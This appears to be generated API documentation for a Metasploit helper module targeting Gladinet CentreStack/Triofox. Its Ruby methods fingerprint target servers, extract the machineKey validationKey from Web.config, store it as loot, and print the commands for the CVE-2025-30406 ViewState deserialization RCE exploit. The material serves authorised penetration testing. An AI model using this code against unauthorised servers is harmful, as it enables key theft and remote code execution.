Module: Msf::Auxiliary::Gladinet

Defined in:
lib/msf/core/auxiliary/gladinet.rb

Overview

Module for shared Gladinet CentreStack/Triofox functionality

Constant Summary collapse

EXPLOIT_MODULE =

Exploit module for ViewState deserialization RCE

'exploit/windows/http/gladinet_viewstate_deserialization_cve_2025_30406'.freeze

Instance Method Summary collapse

Instance Method Details

#contains_machinekey?(content) ⇒ Boolean

Check if content contains a machineKey

Parameters:

  • content (String)

    The content to check

Returns:

  • (Boolean)

    True if machineKey is found



38
39
40
# File 'lib/msf/core/auxiliary/gladinet.rb', line 38

def contains_machinekey?(content)
  !extract_machinekey(content).nil?
end

#detect_app_type(body) ⇒ String

Detect the application type from response body

Parameters:

  • body (String)

    HTTP response body

Returns:

  • (String)

    Application type: 'CentreStack', 'Triofox', or 'Unknown'



100
101
102
103
104
105
# File 'lib/msf/core/auxiliary/gladinet.rb', line 100

def detect_app_type(body)
  return 'CentreStack' if body.include?('CentreStack')
  return 'Triofox' if body.include?('Triofox')

  'Unknown'
end

#extract_build_version(body) ⇒ String?

Extract build version from response body

Parameters:

  • body (String)

    HTTP response body

Returns:

  • (String, nil)

    Build version string or nil if not found



111
112
113
114
115
116
# File 'lib/msf/core/auxiliary/gladinet.rb', line 111

def extract_build_version(body)
  build = body.match(/\(Build\s*.*\)/)
  return nil if build.nil?

  build[0].gsub(/[[:space:]]/, '').split('Build')[1].chomp(')')
end

#extract_machinekey(content) ⇒ String?

Extract machineKey validationKey from Web.config content

Parameters:

  • content (String)

    The content of the Web.config file

Returns:

  • (String, nil)

    The validationKey in hex format, or nil if not found



18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
# File 'lib/msf/core/auxiliary/gladinet.rb', line 18

def extract_machinekey(content)
  return nil unless content

  # Extract machineKey from Web.config
  # Pattern: <machineKey ... validationKey="..." ... />
  # NOTE: The exploit module only needs the validationKey, not the decryptionKey
  # The regex allows for any attributes before validationKey (e.g., decryption="AES", decryptionKey="...")
  machinekey_match = content.match(/<machineKey[^>]*validationKey="([^"]+)"/i)
  return nil unless machinekey_match

  validation_key = machinekey_match[1]

  # Return only validationKey (hex format) as required by the exploit module
  validation_key
end

#gladinet?(response) ⇒ Boolean

Check if target is a Gladinet CentreStack/Triofox installation

Parameters:

Returns:

  • (Boolean)

    True if target appears to be Gladinet



79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
# File 'lib/msf/core/auxiliary/gladinet.rb', line 79

def gladinet?(response)
  return false unless response&.code == 200

  # Check for Gladinet-specific cookies (strong indicator)
  cookies = response.get_cookies || ''
  has_glad_cookies = cookies.include?('y-glad-state=') || cookies.include?('y-glad-lsid=') || cookies.include?('y-glad-token=')

  # Check for ViewState generator in body (required for ASP.NET ViewState)
  has_viewstate = response.body.include?('id="__VIEWSTATEGENERATOR"')

  # Check for Gladinet branding in body
  has_gladinet_branding = response.body.include?('CentreStack') || response.body.include?('Triofox') || response.body.include?('GLADINET')

  # At least one strong indicator (cookies or ViewState + branding)
  (has_glad_cookies) || (has_viewstate && has_gladinet_branding)
end

#gladinet_versionString?

Send a GET request to the Gladinet login page and extract version

Returns:

  • (String, nil)

    Build version string or nil if not found



121
122
123
124
125
126
127
128
129
# File 'lib/msf/core/auxiliary/gladinet.rb', line 121

def gladinet_version
  res = send_request_cgi({
    'method' => 'GET',
    'uri' => normalize_uri(target_uri.path, 'portal', 'loginpage.aspx')
  })
  return nil unless res&.code == 200 && gladinet?(res)

  extract_build_version(res.body)
end

#handle_machinekey_extraction(content, filepath, loot_description = 'MachineKey extracted from Gladinet Web.config') ⇒ Object

Extract and save machineKey, then display instructions for RCE exploit

Parameters:

  • content (String)

    The content of the Web.config file

  • filepath (String)

    The file path that was read

  • loot_description (String) (defaults to: 'MachineKey extracted from Gladinet Web.config')

    Description for the loot file



47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
# File 'lib/msf/core/auxiliary/gladinet.rb', line 47

def handle_machinekey_extraction(content, filepath, loot_description = 'MachineKey extracted from Gladinet Web.config')
  return unless content.include?('machineKey') || filepath.include?('Web.config')

  machinekey = extract_machinekey(content)
  unless machinekey
    print_warning('Could not extract machineKey from Web.config')
    return nil
  end

  print_good('Extracted machineKey from Web.config')
  print_line("MachineKey: #{machinekey}")
  print_line
  print_good("For RCE: use #{EXPLOIT_MODULE}")
  print_status('Set the MACHINEKEY option in the exploit module:')
  print_line("use #{EXPLOIT_MODULE}")
  print_line("set MACHINEKEY #{machinekey}")

  key_path = store_loot(
    'gladinet.machinekey',
    'text/plain',
    datastore['RHOST'],
    machinekey,
    'machinekey.txt',
    loot_description
  )
  print_good("MachineKey saved to: #{key_path}")
end